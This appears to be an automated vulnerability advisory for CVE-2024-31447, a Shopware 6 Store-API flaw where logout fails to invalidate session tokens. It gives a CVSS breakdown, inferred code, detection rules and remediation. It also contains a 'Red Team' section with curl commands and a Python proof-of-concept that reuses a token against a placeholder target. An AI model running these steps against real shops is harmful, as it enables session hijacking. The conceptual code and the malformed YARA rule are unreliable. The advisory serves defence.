CVE-2024-31447

Executive Summary

CVE-2024-31447 is a session invalidation bypass vulnerability in Shopware 6, an open-source e-commerce platform. The flaw resides in the POST /store-api/account/logout endpoint. When an authenticated user sends a logout request via the Store-API, the server clears the user's cart but fails to invalidate the user's session or log them out. This means the session token remains valid, and the user can continue to make authenticated API calls.

The vulnerability affects all Shopware 6 versions from 6.3.5.0 up to, but not including, 6.5.8.8 and 6.6.1.0. The CVSS score is 5.3 (Medium), with a low attack complexity and no user interaction required beyond the initial authentication. The primary risk is session persistence, which could allow an attacker who gains access to a valid session token to maintain access even after the legitimate user attempts to log out.

The issue is partially mitigated by the fact that the PHP Storefront (the web UI) listens for the CustomerLogoutEvent and properly invalidates the session, so the vulnerability is limited to direct Store-API usage. However, for headless or API-first deployments, this is a significant security gap.

Supply Chain & Package Security

This vulnerability is specific to the Shopware 6 application, which is a PHP-based e-commerce platform. It is not a supply chain issue with a package manager (NPM, PyPI, Go, Ruby). The fix is delivered through official Shopware updates or the Shopware Security Plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid authenticated session.
• User Interaction (UI): None – No user action is required beyond the initial authentication.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): None – No data is directly exposed.
• Integrity (I): Low – The attacker can maintain a session, potentially modifying cart data or performing other authenticated actions.
• Availability (A): Low – The attacker could potentially disrupt the user's session management.

Threat Level: Medium. The vulnerability requires an authenticated session, but it allows an attacker to bypass the logout mechanism, effectively making session revocation ineffective. This is particularly dangerous in shared or multi-user environments.

Deep Dive & Mechanics

The vulnerability is a classic case of Insufficient Session Expiration (CWE-613) . The Shopware 6 Store-API endpoint POST /store-api/account/logout is designed to log out a user and clear their cart. However, the implementation only clears the cart data and does not invalidate the underlying session token.

Root Cause: The logout action in the Store-API controller likely calls a method to clear the cart but fails to call the session invalidation method (e.g., $session->invalidate() or $this->tokenStorage->setToken(null)). The PHP Storefront, on the other hand, listens for the CustomerLogoutEvent and properly handles session invalidation, but the Store-API does not dispatch this event or handle it correctly.

Attack Flow:

1. An attacker obtains a valid session token (e.g., by logging in legitimately or stealing a token).
2. The attacker sends a POST request to /store-api/account/logout with the valid token.
3. The server clears the cart but does not invalidate the session.
4. The attacker can continue to use the same session token for subsequent authenticated API calls.
5. The legitimate user believes they have logged out, but their session remains active.

Impact:

• Session Persistence: An attacker can maintain access even after a user logs out.
• Account Takeover (Partial): If the attacker has the session token, they can perform actions on behalf of the user indefinitely.
• Data Integrity: The attacker could modify cart contents, addresses, or other user-specific data.

Vulnerable vs. Patched Code

The exact code is not publicly available, but the logic can be inferred.

Vulnerable Code (Conceptual):

// Store-API logout action (vulnerable)
public function logout(Request $request): JsonResponse
{
    $this->cartService->clearCart(); // Clears cart only
    // Missing: $this->session->invalidate();
    // Missing: $this->tokenStorage->setToken(null);
    return new JsonResponse(['success' => true]);
}

Patched Code (Conceptual):

// Store-API logout action (patched)
public function logout(Request $request): JsonResponse
{
    $this->cartService->clearCart();
    $this->session->invalidate(); // Invalidate session
    $this->tokenStorage->setToken(null); // Clear security token
    // Optionally dispatch CustomerLogoutEvent
    return new JsonResponse(['success' => true]);
}

The patch ensures that the session is fully invalidated, and the security token is cleared, preventing reuse of the session.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid Shopware 6 instance (version 6.3.5.0 to 6.5.8.7 or 6.6.0.0).
• A valid user account and session token.

Steps:

1. Obtain a Session Token: Log in to the Shopware Store-API and capture the session token (e.g., from the sw-context-token header or cookie).
2. Send Logout Request:

   curl -X POST https://target-shop.com/store-api/account/logout \
     -H "sw-context-token: YOUR_SESSION_TOKEN" \
     -H "Content-Type: application/json"
   

3. Verify Session Persistence: Use the same session token to make an authenticated request, e.g., get account info:

   curl -X GET https://target-shop.com/store-api/account/customer \
     -H "sw-context-token: YOUR_SESSION_TOKEN"
   

   If the response returns customer data, the session is still valid.

Automated Exploit (Python):

import requests

target = "https://target-shop.com"
token = "YOUR_SESSION_TOKEN"

# Logout
logout_resp = requests.post(f"{target}/store-api/account/logout", 
                            headers={"sw-context-token": token})
print(f"Logout response: {logout_resp.status_code}")

# Verify session
verify_resp = requests.get(f"{target}/store-api/account/customer", 
                           headers={"sw-context-token": token})
if verify_resp.status_code == 200:
    print("Session is still valid! Exploit successful.")
else:
    print("Session invalidated.")

Blue Team (Detection & Prevention)

Detection:

• Monitor for repeated use of the same sw-context-token after a logout request.
• Alert on API calls to /store-api/account/logout followed by other authenticated API calls with the same token.

Prevention:

• Apply the patch by upgrading to Shopware 6.5.8.8 or 6.6.1.0.
• If unable to upgrade, install the latest Shopware Security Plugin.
• Implement additional session validation on the API gateway or WAF.

Indicators of Compromise (IOCs)

• Session Token Reuse: A session token used after a logout request.
• Log Pattern: Multiple API calls with the same sw-context-token after a POST /store-api/account/logout request.
• Network Traffic: HTTP requests to /store-api/account/logout followed by other authenticated endpoints with the same token.

Example Log Entry (Suspicious):

192.168.1.100 - - [12/May/2024:10:00:00 +0000] "POST /store-api/account/logout HTTP/1.1" 200 45
192.168.1.100 - - [12/May/2024:10:00:05 +0000] "GET /store-api/account/customer HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2024_31447_Shopware_Logout_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-31447 Shopware logout bypass"
        author = "Valters IT"
        date = "2024-05-12"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31447"
    strings:
        $logout_endpoint = "/store-api/account/logout"
        $context_token = "sw-context-token"
        $customer_endpoint = "/store-api/account/customer"
    condition:
        # of ($logout_endpoint) > 0 and # of ($context_token) > 0 and # of ($customer_endpoint) > 0
}

Sigma Rule

title: CVE-2024-31447 Shopware Logout Bypass
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of CVE-2024-31447 where a session token is reused after a logout request.
author: Valters IT
date: 2024/05/12
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31447
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/store-api/account/logout'
    timeframe: 5s
    condition:
        selection | near by cs-uri-stem='/store-api/account/customer' with same cs-host and same cs-uri-query
falsepositives:
    - Legitimate rapid API calls (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31447 Shopware Logout Bypass Attempt"; flow:to_server; content:"POST"; http_method; content:"/store-api/account/logout"; http_uri; content:"sw-context-token"; http_header; pcre:"/sw-context-token\s*:\s*[A-Za-z0-9]+/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Shopware: Update to version 6.5.8.8 or 6.6.1.0 (or later).
2. Install Security Plugin: If upgrade is not possible, install the latest Shopware Security Plugin as a workaround.
3. Monitor Logs: Review access logs for signs of exploitation (reused tokens after logout).

Long-Term Measures:

• Implement session revocation checks on all API endpoints.
• Use short-lived session tokens and refresh tokens.
• Conduct regular security audits of API endpoints.

Workaround Details: The Shopware Security Plugin adds additional session validation logic that compensates for the missing invalidation in the Store-API. It is available from the Shopware store.

Report generated by Valters IT DevSecOps & CTI Expert System